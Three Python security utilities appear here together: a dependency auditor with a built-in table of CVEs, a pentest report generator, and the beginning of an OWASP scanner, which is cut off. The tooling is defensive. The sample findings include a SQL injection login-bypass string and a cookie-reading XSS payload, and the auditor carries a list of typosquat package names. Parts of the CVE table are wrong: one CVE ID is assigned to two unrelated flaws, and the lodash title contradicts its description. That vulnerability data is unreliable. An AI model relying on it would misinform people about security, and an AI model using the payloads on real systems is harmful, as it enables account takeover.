Security Pen Testing

#!/usr/bin/env python3
"""
Dependency Auditor - Analyze package manifests for known vulnerable patterns.

Table of Contents:
    DependencyAuditor - Main class for dependency vulnerability analysis
        __init__              - Initialize with manifest path and severity filter
        audit()               - Run full audit on the manifest
        _parse_manifest()     - Detect and parse the manifest file
        _parse_package_json() - Parse npm package.json
        _parse_requirements() - Parse pip requirements.txt
        _parse_go_mod()       - Parse Go go.mod
        _parse_gemfile()      - Parse Ruby Gemfile
        _check_vulnerabilities() - Check packages against known CVE patterns
        _check_risky_patterns()  - Detect risky dependency patterns
    main() - CLI entry point

Usage:
    python dependency_auditor.py --file package.json
    python dependency_auditor.py --file requirements.txt --severity high
    python dependency_auditor.py --file go.mod --json
"""

import argparse
import json
import os
import re
import sys
from dataclasses import dataclass, asdict, field
from datetime import datetime
from pathlib import Path
from typing import Dict, List, Optional, Tuple


@dataclass
class Dependency:
    """Represents a parsed dependency."""
    name: str
    version: str
    ecosystem: str  # npm, pypi, go, rubygems
    is_dev: bool = False


@dataclass
class VulnerabilityFinding:
    """A known vulnerability match for a dependency."""
    package: str
    installed_version: str
    vulnerable_range: str
    cve_id: str
    severity: str  # critical, high, medium, low
    title: str
    description: str
    remediation: str
    cvss_score: float = 0.0
    references: List[str] = field(default_factory=list)


@dataclass
class RiskyPattern:
    """A risky dependency pattern (not a CVE, but a concern)."""
    package: str
    pattern_type: str  # pinning, wildcard, deprecated, typosquat
    severity: str
    description: str
    recommendation: str


class DependencyAuditor:
    """Analyze package manifests for known vulnerable patterns and risky dependencies."""

    # Known vulnerable package versions (curated subset of high-profile CVEs)
    KNOWN_VULNS = [
        {"ecosystem": "npm", "package": "lodash", "below": "4.17.21",
         "cve": "CVE-2021-23337", "severity": "high", "cvss": 7.2,
         "title": "Prototype Pollution in lodash",
         "description": "lodash before 4.17.21 is vulnerable to Command Injection via template function.",
         "remediation": "Upgrade lodash to >=4.17.21"},
        {"ecosystem": "npm", "package": "axios", "below": "1.6.0",
         "cve": "CVE-2023-45857", "severity": "medium", "cvss": 6.5,
         "title": "CSRF token exposure in axios",
         "description": "axios before 1.6.0 inadvertently exposes CSRF tokens in cross-site requests.",
         "remediation": "Upgrade axios to >=1.6.0"},
        {"ecosystem": "npm", "package": "express", "below": "4.19.2",
         "cve": "CVE-2024-29041", "severity": "medium", "cvss": 6.1,
         "title": "Open Redirect in express",
         "description": "express before 4.19.2 allows open redirects via malicious URLs.",
         "remediation": "Upgrade express to >=4.19.2"},
        {"ecosystem": "npm", "package": "jsonwebtoken", "below": "9.0.0",
         "cve": "CVE-2022-23529", "severity": "critical", "cvss": 9.8,
         "title": "Insecure key retrieval in jsonwebtoken",
         "description": "jsonwebtoken before 9.0.0 allows key confusion attacks via secretOrPublicKey.",
         "remediation": "Upgrade jsonwebtoken to >=9.0.0"},
        {"ecosystem": "npm", "package": "minimatch", "below": "3.0.5",
         "cve": "CVE-2022-3517", "severity": "high", "cvss": 7.5,
         "title": "ReDoS in minimatch",
         "description": "minimatch before 3.0.5 is vulnerable to Regular Expression Denial of Service.",
         "remediation": "Upgrade minimatch to >=3.0.5"},
        {"ecosystem": "npm", "package": "tar", "below": "6.1.9",
         "cve": "CVE-2021-37713", "severity": "high", "cvss": 8.6,
         "title": "Arbitrary File Creation in tar",
         "description": "tar before 6.1.9 allows arbitrary file creation/overwrite via symlinks.",
         "remediation": "Upgrade tar to >=6.1.9"},
        {"ecosystem": "pypi", "package": "pillow", "below": "9.3.0",
         "cve": "CVE-2022-45198", "severity": "high", "cvss": 7.5,
         "title": "DoS via crafted image in Pillow",
         "description": "Pillow before 9.3.0 allows denial of service via specially crafted image files.",
         "remediation": "Upgrade Pillow to >=9.3.0"},
        {"ecosystem": "pypi", "package": "django", "below": "4.2.8",
         "cve": "CVE-2023-46695", "severity": "high", "cvss": 7.5,
         "title": "DoS via file uploads in Django",
         "description": "Django before 4.2.8 allows denial of service via large file uploads.",
         "remediation": "Upgrade Django to >=4.2.8"},
        {"ecosystem": "pypi", "package": "flask", "below": "2.3.2",
         "cve": "CVE-2023-30861", "severity": "high", "cvss": 7.5,
         "title": "Session cookie exposure in Flask",
         "description": "Flask before 2.3.2 may expose session cookies on cross-origin redirects.",
         "remediation": "Upgrade Flask to >=2.3.2"},
        {"ecosystem": "pypi", "package": "requests", "below": "2.31.0",
         "cve": "CVE-2023-32681", "severity": "medium", "cvss": 6.1,
         "title": "Proxy-Authorization header leak in requests",
         "description": "requests before 2.31.0 leaks Proxy-Authorization headers on redirects.",
         "remediation": "Upgrade requests to >=2.31.0"},
        {"ecosystem": "pypi", "package": "cryptography", "below": "41.0.0",
         "cve": "CVE-2023-38325", "severity": "high", "cvss": 7.5,
         "title": "NULL dereference in cryptography",
         "description": "cryptography before 41.0.0 has a NULL pointer dereference in PKCS7 parsing.",
         "remediation": "Upgrade cryptography to >=41.0.0"},
        {"ecosystem": "pypi", "package": "pyyaml", "below": "6.0.1",
         "cve": "CVE-2020-14343", "severity": "critical", "cvss": 9.8,
         "title": "Arbitrary code execution in PyYAML",
         "description": "PyYAML before 6.0.1 allows arbitrary code execution via yaml.load().",
         "remediation": "Upgrade PyYAML to >=6.0.1 and use yaml.safe_load()"},
        {"ecosystem": "go", "package": "golang.org/x/crypto", "below": "0.17.0",
         "cve": "CVE-2023-48795", "severity": "medium", "cvss": 5.9,
         "title": "Terrapin SSH prefix truncation attack",
         "description": "golang.org/x/crypto before 0.17.0 vulnerable to SSH prefix truncation.",
         "remediation": "Upgrade golang.org/x/crypto to >=0.17.0"},
        {"ecosystem": "go", "package": "golang.org/x/net", "below": "0.17.0",
         "cve": "CVE-2023-44487", "severity": "high", "cvss": 7.5,
         "title": "HTTP/2 rapid reset DoS",
         "description": "golang.org/x/net before 0.17.0 vulnerable to HTTP/2 rapid reset attack.",
         "remediation": "Upgrade golang.org/x/net to >=0.17.0"},
        {"ecosystem": "rubygems", "package": "rails", "below": "7.0.8",
         "cve": "CVE-2023-44487", "severity": "high", "cvss": 7.5,
         "title": "ReDoS in Rails",
         "description": "Rails before 7.0.8 vulnerable to Regular Expression Denial of Service.",
         "remediation": "Upgrade rails to >=7.0.8"},
    ]

    # Known typosquat / malicious package names
    TYPOSQUAT_PACKAGES = {
        "npm": ["crossenv", "event-stream-malicious", "flatmap-stream", "ua-parser-jss",
                 "loadsh", "lodashs", "axois", "requets"],
        "pypi": ["python3-dateutil", "jeIlyfish", "python-binance-sdk", "requestss",
                 "djago", "flassk", "requets"],
    }

    def __init__(self, manifest_path: str, severity_filter: str = "low"):
        self.manifest_path = Path(manifest_path)
        self.severity_filter = severity_filter
        self.severity_order = {"critical": 4, "high": 3, "medium": 2, "low": 1}
        self.min_severity = self.severity_order.get(severity_filter, 1)

    def audit(self) -> Dict:
        """Run full audit on the manifest file."""
        deps = self._parse_manifest()
        vuln_findings = self._check_vulnerabilities(deps)
        risky_patterns = self._check_risky_patterns(deps)

        # Filter by severity
        vuln_findings = [f for f in vuln_findings
                         if self.severity_order.get(f.severity, 0) >= self.min_severity]
        risky_patterns = [r for r in risky_patterns
                          if self.severity_order.get(r.severity, 0) >= self.min_severity]

        return {
            "manifest": str(self.manifest_path),
            "ecosystem": deps[0].ecosystem if deps else "unknown",
            "total_dependencies": len(deps),
            "dev_dependencies": len([d for d in deps if d.is_dev]),
            "vulnerability_findings": vuln_findings,
            "risky_patterns": risky_patterns,
            "summary": {
                "critical": len([f for f in vuln_findings if f.severity == "critical"]),
                "high": len([f for f in vuln_findings if f.severity == "high"]),
                "medium": len([f for f in vuln_findings if f.severity == "medium"]),
                "low": len([f for f in vuln_findings if f.severity == "low"]),
                "risky_patterns_count": len(risky_patterns),
            }
        }

    def _parse_manifest(self) -> List[Dependency]:
        """Detect manifest type and parse dependencies."""
        name = self.manifest_path.name.lower()
        try:
            content = self.manifest_path.read_text(encoding="utf-8")
        except (OSError, PermissionError) as e:
            print(f"Error reading {self.manifest_path}: {e}", file=sys.stderr)
            sys.exit(1)

        if name == "package.json":
            return self._parse_package_json(content)
        elif name in ("requirements.txt", "requirements-dev.txt", "requirements_dev.txt"):
            return self._parse_requirements(content)
        elif name == "go.mod":
            return self._parse_go_mod(content)
        elif name in ("gemfile", "gemfile.lock"):
            return self._parse_gemfile(content)
        else:
            print(f"Unsupported manifest type: {name}", file=sys.stderr)
            print("Supported: package.json, requirements.txt, go.mod, Gemfile", file=sys.stderr)
            sys.exit(1)

    def _parse_package_json(self, content: str) -> List[Dependency]:
        """Parse npm package.json."""
        deps = []
        try:
            data = json.loads(content)
        except json.JSONDecodeError as e:
            print(f"Invalid JSON in package.json: {e}", file=sys.stderr)
            sys.exit(1)

        for name, version in data.get("dependencies", {}).items():
            clean_ver = re.sub(r"[^0-9.]", "", version).strip(".")
            deps.append(Dependency(name=name, version=clean_ver or version, ecosystem="npm", is_dev=False))
        for name, version in data.get("devDependencies", {}).items():
            clean_ver = re.sub(r"[^0-9.]", "", version).strip(".")
            deps.append(Dependency(name=name, version=clean_ver or version, ecosystem="npm", is_dev=True))
        return deps

    def _parse_requirements(self, content: str) -> List[Dependency]:
        """Parse pip requirements.txt."""
        deps = []
        for line in content.strip().split("\n"):
            line = line.strip()
            if not line or line.startswith("#") or line.startswith("-"):
                continue
            match = re.match(r"^([a-zA-Z0-9_.-]+)\s*(?:[=<>!~]+\s*)?([\d.]*)", line)
            if match:
                name, version = match.group(1), match.group(2) or "unknown"
                deps.append(Dependency(name=name.lower(), version=version, ecosystem="pypi"))
        return deps

    def _parse_go_mod(self, content: str) -> List[Dependency]:
        """Parse Go go.mod."""
        deps = []
        in_require = False
        for line in content.strip().split("\n"):
            line = line.strip()
            if line.startswith("require ("):
                in_require = True
                continue
            if line == ")":
                in_require = False
                continue
            if in_require or line.startswith("require "):
                cleaned = line.replace("require ", "").strip()
                parts = cleaned.split()
                if len(parts) >= 2:
                    name = parts[0]
                    version = parts[1].lstrip("v")
                    indirect = "// indirect" in line
                    deps.append(Dependency(name=name, version=version, ecosystem="go", is_dev=indirect))
        return deps

    def _parse_gemfile(self, content: str) -> List[Dependency]:
        """Parse Ruby Gemfile."""
        deps = []
        for line in content.strip().split("\n"):
            line = line.strip()
            if not line or line.startswith("#"):
                continue
            match = re.match(r'''gem\s+['"]([\w-]+)['"](?:\s*,\s*['"]([^'"]*)['"'])?''', line)
            if match:
                name = match.group(1)
                version = match.group(2) or "unknown"
                version = re.sub(r"[~><=\s]", "", version)
                deps.append(Dependency(name=name, version=version, ecosystem="rubygems"))
        return deps

    @staticmethod
    def _version_below(installed: str, threshold: str) -> bool:
        """Check if installed version is below threshold (simple numeric comparison)."""
        try:
            inst_parts = [int(x) for x in installed.split(".") if x.isdigit()]
            thresh_parts = [int(x) for x in threshold.split(".") if x.isdigit()]
            # Pad shorter list
            max_len = max(len(inst_parts), len(thresh_parts))
            inst_parts.extend([0] * (max_len - len(inst_parts)))
            thresh_parts.extend([0] * (max_len - len(thresh_parts)))
            return inst_parts < thresh_parts
        except (ValueError, IndexError):
            return False

    def _check_vulnerabilities(self, deps: List[Dependency]) -> List[VulnerabilityFinding]:
        """Check dependencies against known CVE database."""
        findings = []
        for dep in deps:
            for vuln in self.KNOWN_VULNS:
                if (dep.ecosystem == vuln["ecosystem"] and
                        dep.name.lower() == vuln["package"].lower() and
                        self._version_below(dep.version, vuln["below"])):
                    findings.append(VulnerabilityFinding(
                        package=dep.name,
                        installed_version=dep.version,
                        vulnerable_range=f"< {vuln['below']}",
                        cve_id=vuln["cve"],
                        severity=vuln["severity"],
                        title=vuln["title"],
                        description=vuln["description"],
                        remediation=vuln["remediation"],
                        cvss_score=vuln.get("cvss", 0.0),
                        references=[f"https://nvd.nist.gov/vuln/detail/{vuln['cve']}"],
                    ))
        return findings

    def _check_risky_patterns(self, deps: List[Dependency]) -> List[RiskyPattern]:
        """Detect risky dependency patterns."""
        patterns = []
        ecosystem = deps[0].ecosystem if deps else "unknown"

        # Check for typosquat packages
        typosquats = self.TYPOSQUAT_PACKAGES.get(ecosystem, [])
        for dep in deps:
            if dep.name.lower() in [t.lower() for t in typosquats]:
                patterns.append(RiskyPattern(
                    package=dep.name,
                    pattern_type="typosquat",
                    severity="critical",
                    description=f"'{dep.name}' is a known typosquat or malicious package name.",
                    recommendation="Remove immediately and check for compromised data. Install the legitimate package.",
                ))

        # Check for wildcard/unpinned versions
        for dep in deps:
            if dep.version in ("*", "latest", "unknown", ""):
                patterns.append(RiskyPattern(
                    package=dep.name,
                    pattern_type="unpinned",
                    severity="medium",
                    description=f"'{dep.name}' has an unpinned version ({dep.version}).",
                    recommendation="Pin to a specific version to prevent supply chain attacks.",
                ))

        # Check for excessive dev dependencies in production
        dev_count = len([d for d in deps if d.is_dev])
        total = len(deps)
        if total > 0 and dev_count / total > 0.7:
            patterns.append(RiskyPattern(
                package="(project-level)",
                pattern_type="dev-heavy",
                severity="low",
                description=f"{dev_count}/{total} dependencies are dev-only. Large dev surface increases supply chain risk.",
                recommendation="Review dev dependencies. Remove unused ones. Consider using --production for installs.",
            ))

        return patterns


def format_report_text(result: Dict) -> str:
    """Format audit result as human-readable text."""
    lines = []
    lines.append("=" * 70)
    lines.append("DEPENDENCY VULNERABILITY AUDIT REPORT")
    lines.append(f"Manifest: {result['manifest']}")
    lines.append(f"Ecosystem: {result['ecosystem']}")
    lines.append(f"Total dependencies: {result['total_dependencies']} ({result['dev_dependencies']} dev)")
    lines.append(f"Generated: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
    lines.append("=" * 70)

    summary = result["summary"]
    lines.append(f"\nSummary: {summary['critical']} critical, {summary['high']} high, "
                 f"{summary['medium']} medium, {summary['low']} low, "
                 f"{summary['risky_patterns_count']} risky pattern(s)")

    vulns = result["vulnerability_findings"]
    if vulns:
        lines.append(f"\n--- VULNERABILITY FINDINGS ({len(vulns)}) ---\n")
        for v in vulns:
            lines.append(f"  [{v.severity.upper()}] {v.package} {v.installed_version}")
            lines.append(f"    CVE: {v.cve_id} (CVSS: {v.cvss_score})")
            lines.append(f"    {v.title}")
            lines.append(f"    Vulnerable: {v.vulnerable_range}")
            lines.append(f"    Fix: {v.remediation}")
            lines.append("")
    else:
        lines.append("\nNo known vulnerabilities found in dependencies.")

    risky = result["risky_patterns"]
    if risky:
        lines.append(f"\n--- RISKY PATTERNS ({len(risky)}) ---\n")
        for r in risky:
            lines.append(f"  [{r.severity.upper()}] {r.package} — {r.pattern_type}")
            lines.append(f"    {r.description}")
            lines.append(f"    Fix: {r.recommendation}")
            lines.append("")

    return "\n".join(lines)


def main():
    parser = argparse.ArgumentParser(
        description="Dependency Auditor — Analyze package manifests for known vulnerabilities and risky patterns.",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Supported manifests:
  package.json      (npm)
  requirements.txt  (pip/PyPI)
  go.mod            (Go)
  Gemfile           (Ruby)

Examples:
  %(prog)s --file package.json
  %(prog)s --file requirements.txt --severity high
  %(prog)s --file go.mod --json
        """,
    )
    parser.add_argument("--file", required=True, metavar="PATH",
                        help="Path to package manifest file")
    parser.add_argument("--severity", choices=["low", "medium", "high", "critical"], default="low",
                        help="Minimum severity to report (default: low)")
    parser.add_argument("--json", action="store_true", dest="json_output",
                        help="Output results as JSON")
    args = parser.parse_args()

    if not Path(args.file).exists():
        print(f"Error: File not found: {args.file}", file=sys.stderr)
        sys.exit(1)

    auditor = DependencyAuditor(manifest_path=args.file, severity_filter=args.severity)
    result = auditor.audit()

    if args.json_output:
        json_result = {
            "manifest": result["manifest"],
            "ecosystem": result["ecosystem"],
            "total_dependencies": result["total_dependencies"],
            "dev_dependencies": result["dev_dependencies"],
            "summary": result["summary"],
            "vulnerability_findings": [asdict(f) for f in result["vulnerability_findings"]],
            "risky_patterns": [asdict(r) for r in result["risky_patterns"]],
            "generated_at": datetime.now().isoformat(),
        }
        print(json.dumps(json_result, indent=2))
    else:
        print(format_report_text(result))

    # Exit non-zero if critical or high vulnerabilities found
    if result["summary"]["critical"] > 0 or result["summary"]["high"] > 0:
        sys.exit(1)


if __name__ == "__main__":
    main()

#!/usr/bin/env python3
"""
Pen Test Report Generator - Generate structured penetration testing reports from findings.

Table of Contents:
    PentestReportGenerator - Main class for report generation
        __init__               - Initialize with findings data
        generate_markdown()    - Generate markdown report
        generate_json()        - Generate structured JSON report
        _executive_summary()   - Build executive summary section
        _findings_table()      - Build severity-sorted findings table
        _detailed_findings()   - Build detailed findings with evidence
        _remediation_matrix()  - Build effort vs. impact remediation matrix
        _calculate_risk_score() - Calculate overall risk score
    main() - CLI entry point

Usage:
    python pentest_report_generator.py --findings findings.json --format md --output report.md
    python pentest_report_generator.py --findings findings.json --format json
    python pentest_report_generator.py --findings findings.json --format md
"""

import argparse
import json
import sys
from dataclasses import dataclass, asdict, field
from datetime import datetime
from pathlib import Path
from typing import Dict, List, Optional


@dataclass
class Finding:
    """A single pen test finding."""
    title: str
    severity: str  # critical, high, medium, low, info
    cvss_score: float
    category: str
    description: str
    evidence: str
    impact: str
    remediation: str
    cvss_vector: str = ""
    references: List[str] = field(default_factory=list)
    effort: str = "medium"  # low, medium, high — remediation effort


SEVERITY_ORDER = {"critical": 5, "high": 4, "medium": 3, "low": 2, "info": 1}


class PentestReportGenerator:
    """Generate professional penetration testing reports from structured findings."""

    def __init__(self, findings: List[Finding], metadata: Optional[Dict] = None):
        self.findings = sorted(findings, key=lambda f: SEVERITY_ORDER.get(f.severity, 0), reverse=True)
        self.metadata = metadata or {}
        self.generated_at = datetime.now().strftime("%Y-%m-%d %H:%M:%S")

    def generate_markdown(self) -> str:
        """Generate a complete markdown pen test report."""
        sections = []
        sections.append(self._header())
        sections.append(self._executive_summary())
        sections.append(self._scope_section())
        sections.append(self._findings_table())
        sections.append(self._detailed_findings())
        sections.append(self._remediation_matrix())
        sections.append(self._methodology_section())
        sections.append(self._appendix())
        return "\n\n".join(sections)

    def generate_json(self) -> Dict:
        """Generate structured JSON report."""
        return {
            "report_metadata": {
                "title": self.metadata.get("title", "Penetration Test Report"),
                "target": self.metadata.get("target", "Not specified"),
                "tester": self.metadata.get("tester", "Not specified"),
                "date_range": self.metadata.get("date_range", "Not specified"),
                "generated_at": self.generated_at,
                "overall_risk_score": self._calculate_risk_score(),
                "overall_risk_level": self._risk_level(),
            },
            "summary": {
                "total_findings": len(self.findings),
                "critical": len([f for f in self.findings if f.severity == "critical"]),
                "high": len([f for f in self.findings if f.severity == "high"]),
                "medium": len([f for f in self.findings if f.severity == "medium"]),
                "low": len([f for f in self.findings if f.severity == "low"]),
                "info": len([f for f in self.findings if f.severity == "info"]),
            },
            "findings": [asdict(f) for f in self.findings],
            "remediation_priority": self._remediation_priority_list(),
        }

    def _header(self) -> str:
        title = self.metadata.get("title", "Penetration Test Report")
        target = self.metadata.get("target", "Not specified")
        tester = self.metadata.get("tester", "Not specified")
        date_range = self.metadata.get("date_range", "Not specified")
        lines = [
            f"# {title}",
            "",
            "| Field | Value |",
            "|-------|-------|",
            f"| **Target** | {target} |",
            f"| **Tester** | {tester} |",
            f"| **Date Range** | {date_range} |",
            f"| **Report Generated** | {self.generated_at} |",
            f"| **Overall Risk** | {self._risk_level()} (Score: {self._calculate_risk_score():.1f}/10) |",
            f"| **Total Findings** | {len(self.findings)} |",
        ]
        return "\n".join(lines)

    def _executive_summary(self) -> str:
        critical = len([f for f in self.findings if f.severity == "critical"])
        high = len([f for f in self.findings if f.severity == "high"])
        medium = len([f for f in self.findings if f.severity == "medium"])
        low = len([f for f in self.findings if f.severity == "low"])
        info = len([f for f in self.findings if f.severity == "info"])
        risk_score = self._calculate_risk_score()
        risk_level = self._risk_level()

        lines = [
            "## Executive Summary",
            "",
            f"This penetration test identified **{len(self.findings)} findings** across the target application. "
            f"The overall risk level is **{risk_level}** with a score of **{risk_score:.1f}/10**.",
            "",
            "### Finding Severity Distribution",
            "",
            "| Severity | Count |",
            "|----------|-------|",
            f"| Critical | {critical} |",
            f"| High | {high} |",
            f"| Medium | {medium} |",
            f"| Low | {low} |",
            f"| Informational | {info} |",
        ]

        # Top 3 findings
        if self.findings:
            lines.append("")
            lines.append("### Top Priority Findings")
            lines.append("")
            for i, f in enumerate(self.findings[:3], 1):
                lines.append(f"{i}. **{f.title}** ({f.severity.upper()}, CVSS {f.cvss_score}) — {f.impact[:120]}")

        # Risk assessment
        lines.append("")
        if critical > 0:
            lines.append("> **CRITICAL RISK**: Immediate remediation required. Critical vulnerabilities "
                         "allow attackers to compromise the system with minimal effort.")
        elif high > 0:
            lines.append("> **HIGH RISK**: Prompt remediation recommended. High-severity vulnerabilities "
                         "pose significant risk of exploitation.")
        elif medium > 0:
            lines.append("> **MODERATE RISK**: Remediation should be planned within the next sprint. "
                         "Medium findings may be chained for greater impact.")
        else:
            lines.append("> **LOW RISK**: The application has a reasonable security posture. "
                         "Address low-severity findings during regular maintenance.")

        return "\n".join(lines)

    def _scope_section(self) -> str:
        scope = self.metadata.get("scope", "Full application security assessment")
        exclusions = self.metadata.get("exclusions", "None specified")
        test_type = self.metadata.get("test_type", "Gray box")
        lines = [
            "## Scope",
            "",
            f"- **In Scope**: {scope}",
            f"- **Exclusions**: {exclusions}",
            f"- **Test Type**: {test_type}",
        ]
        return "\n".join(lines)

    def _findings_table(self) -> str:
        lines = [
            "## Findings Overview",
            "",
            "| # | Severity | CVSS | Title | Category |",
            "|---|----------|------|-------|----------|",
        ]
        for i, f in enumerate(self.findings, 1):
            sev_badge = f.severity.upper()
            lines.append(f"| {i} | {sev_badge} | {f.cvss_score} | {f.title} | {f.category} |")
        return "\n".join(lines)

    def _detailed_findings(self) -> str:
        lines = ["## Detailed Findings"]
        for i, f in enumerate(self.findings, 1):
            lines.append("")
            lines.append(f"### {i}. {f.title}")
            lines.append("")
            lines.append(f"**Severity:** {f.severity.upper()} | **CVSS:** {f.cvss_score}"
                         + (f" | **Vector:** `{f.cvss_vector}`" if f.cvss_vector else ""))
            lines.append(f"**Category:** {f.category}")
            lines.append("")
            lines.append("#### Description")
            lines.append("")
            lines.append(f"{f.description}")
            lines.append("")
            lines.append("#### Evidence")
            lines.append("")
            lines.append("```")
            lines.append(f"{f.evidence}")
            lines.append("```")
            lines.append("")
            lines.append("#### Impact")
            lines.append("")
            lines.append(f"{f.impact}")
            lines.append("")
            lines.append("#### Remediation")
            lines.append("")
            lines.append(f"{f.remediation}")
            if f.references:
                lines.append("")
                lines.append("#### References")
                lines.append("")
                for ref in f.references:
                    lines.append(f"- {ref}")
        return "\n".join(lines)

    def _remediation_matrix(self) -> str:
        lines = [
            "## Remediation Priority Matrix",
            "",
            "Prioritize remediation based on severity and effort:",
            "",
            "| # | Finding | Severity | Effort | Priority |",
            "|---|---------|----------|--------|----------|",
        ]
        for i, f in enumerate(self.findings, 1):
            priority = self._compute_priority(f)
            lines.append(f"| {i} | {f.title} | {f.severity.upper()} | {f.effort} | {priority} |")

        lines.append("")
        lines.append("**Priority Key:** P1 = Fix immediately, P2 = Fix this sprint, "
                      "P3 = Fix this quarter, P4 = Backlog")
        return "\n".join(lines)

    def _methodology_section(self) -> str:
        lines = [
            "## Methodology",
            "",
            "Testing followed the OWASP Testing Guide v4.2 and PTES (Penetration Testing Execution Standard):",
            "",
            "1. **Reconnaissance** — Mapped attack surface, identified endpoints and technologies",
            "2. **Vulnerability Discovery** — Automated scanning + manual testing for OWASP Top 10",
            "3. **Exploitation** — Validated findings with proof-of-concept (non-destructive)",
            "4. **Post-Exploitation** — Assessed lateral movement and data access potential",
            "5. **Reporting** — Documented findings with evidence and remediation guidance",
        ]
        return "\n".join(lines)

    def _appendix(self) -> str:
        lines = [
            "## Appendix",
            "",
            "### CVSS Scoring Reference",
            "",
            "| Score Range | Severity |",
            "|-------------|----------|",
            "| 9.0 - 10.0 | Critical |",
            "| 7.0 - 8.9 | High |",
            "| 4.0 - 6.9 | Medium |",
            "| 0.1 - 3.9 | Low |",
            "| 0.0 | Informational |",
            "",
            "### Disclaimer",
            "",
            "This report represents a point-in-time assessment. New vulnerabilities may emerge after "
            "the testing period. Regular security assessments are recommended.",
            "",
            f"---\n\n*Report generated on {self.generated_at}*",
        ]
        return "\n".join(lines)

    def _calculate_risk_score(self) -> float:
        """Calculate overall risk score (0-10) based on findings."""
        if not self.findings:
            return 0.0
        # Weighted by severity
        weights = {"critical": 10, "high": 7, "medium": 4, "low": 1.5, "info": 0.5}
        total_weight = sum(weights.get(f.severity, 0) for f in self.findings)
        # Normalize: cap at 10, scale based on number of findings
        score = min(10.0, total_weight / max(len(self.findings) * 0.5, 1))
        return round(score, 1)

    def _risk_level(self) -> str:
        """Return risk level string based on score."""
        score = self._calculate_risk_score()
        if score >= 9.0:
            return "CRITICAL"
        elif score >= 7.0:
            return "HIGH"
        elif score >= 4.0:
            return "MEDIUM"
        elif score > 0:
            return "LOW"
        return "NONE"

    def _compute_priority(self, finding: Finding) -> str:
        """Compute remediation priority from severity and effort."""
        sev = SEVERITY_ORDER.get(finding.severity, 0)
        effort_map = {"low": 3, "medium": 2, "high": 1}
        effort_val = effort_map.get(finding.effort, 2)
        score = sev * effort_val
        if score >= 12:
            return "P1"
        elif score >= 8:
            return "P2"
        elif score >= 4:
            return "P3"
        return "P4"

    def _remediation_priority_list(self) -> List[Dict]:
        """Return ordered list of remediation priorities for JSON output."""
        result = []
        for f in self.findings:
            result.append({
                "title": f.title,
                "severity": f.severity,
                "effort": f.effort,
                "priority": self._compute_priority(f),
                "remediation": f.remediation,
            })
        return result


def load_findings(path: str) -> tuple:
    """Load findings from a JSON file."""
    try:
        content = Path(path).read_text(encoding="utf-8")
        data = json.loads(content)
    except (OSError, json.JSONDecodeError) as e:
        print(f"Error loading findings: {e}", file=sys.stderr)
        sys.exit(1)

    # Support both list-of-findings and object-with-metadata formats
    metadata = {}
    findings_data = data
    if isinstance(data, dict):
        metadata = data.get("metadata", {})
        findings_data = data.get("findings", [])

    findings = []
    for item in findings_data:
        findings.append(Finding(
            title=item.get("title", "Untitled Finding"),
            severity=item.get("severity", "medium"),
            cvss_score=float(item.get("cvss_score", 0.0)),
            category=item.get("category", "Uncategorized"),
            description=item.get("description", ""),
            evidence=item.get("evidence", "No evidence provided"),
            impact=item.get("impact", ""),
            remediation=item.get("remediation", ""),
            cvss_vector=item.get("cvss_vector", ""),
            references=item.get("references", []),
            effort=item.get("effort", "medium"),
        ))
    return findings, metadata


def generate_sample_findings() -> str:
    """Generate a sample findings JSON for reference."""
    sample = [
        {
            "title": "SQL Injection in Login Endpoint",
            "severity": "critical",
            "cvss_score": 9.8,
            "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "category": "A03:2021 - Injection",
            "description": "The /api/login endpoint is vulnerable to SQL injection via the email parameter.",
            "evidence": "Request: POST /api/login {\"email\": \"' OR 1=1--\", \"password\": \"x\"}\nResponse: 200 OK with admin session token",
            "impact": "Full database access, authentication bypass, potential remote code execution.",
            "remediation": "Use parameterized queries. Replace string concatenation with prepared statements.",
            "references": ["https://cwe.mitre.org/data/definitions/89.html"],
            "effort": "low"
        },
        {
            "title": "Stored XSS in User Profile",
            "severity": "high",
            "cvss_score": 7.1,
            "cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
            "category": "A03:2021 - Injection",
            "description": "The user profile 'bio' field does not sanitize HTML input.",
            "evidence": "Submitted <img src=x onerror=alert(document.cookie)> in bio field.\nVisiting the profile page executes the payload.",
            "impact": "Session hijacking, account takeover, phishing via stored malicious content.",
            "remediation": "Sanitize all user input with DOMPurify. Implement Content-Security-Policy.",
            "references": ["https://cwe.mitre.org/data/definitions/79.html"],
            "effort": "low"
        }
    ]
    return json.dumps(sample, indent=2)


def main():
    parser = argparse.ArgumentParser(
        description="Pen Test Report Generator — Generate professional penetration testing reports from structured findings.",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  %(prog)s --findings findings.json --format md --output report.md
  %(prog)s --findings findings.json --format json
  %(prog)s --sample > sample_findings.json

Findings JSON format:
  A JSON array of objects with: title, severity, cvss_score, category,
  description, evidence, impact, remediation, cvss_vector, references, effort.

  Use --sample to generate a template.
        """,
    )
    parser.add_argument("--findings", metavar="FILE",
                        help="Path to findings JSON file")
    parser.add_argument("--format", choices=["md", "json"], default="md",
                        help="Output format (default: md)")
    parser.add_argument("--output", metavar="FILE",
                        help="Output file path (default: stdout)")
    parser.add_argument("--json", action="store_true", dest="json_shortcut",
                        help="Shortcut for --format json")
    parser.add_argument("--sample", action="store_true",
                        help="Print sample findings JSON and exit")
    args = parser.parse_args()

    if args.sample:
        print(generate_sample_findings())
        return

    if not args.findings:
        parser.error("--findings is required (use --sample to generate a template)")

    if not Path(args.findings).exists():
        print(f"Error: File not found: {args.findings}", file=sys.stderr)
        sys.exit(1)

    output_format = "json" if args.json_shortcut else args.format
    findings, metadata = load_findings(args.findings)

    if not findings:
        print("No findings loaded. Check the JSON file format.", file=sys.stderr)
        sys.exit(1)

    generator = PentestReportGenerator(findings=findings, metadata=metadata)

    if output_format == "json":
        result = json.dumps(generator.generate_json(), indent=2)
    else:
        result = generator.generate_markdown()

    if args.output:
        Path(args.output).write_text(result, encoding="utf-8")
        print(f"Report written to {args.output}")
    else:
        print(result)


if __name__ == "__main__":
    main()

#!/usr/bin/env python3
"""
Vulnerability Scanner - Generate OWASP Top 10 security checklists and scan for common patterns.

Table of Contents:
    VulnerabilityScanner - Main class for vulnerability scanning
        __init__            - Initialize with target type and scope
        generate_checklist  - Generate OWASP Top 10 checklist for target
        scan_source         - Scan source directory for vulnerability patterns
        _scan_file          - Scan individual file for regex patterns
        _get_owasp_checks   - Return OWASP checks for target type
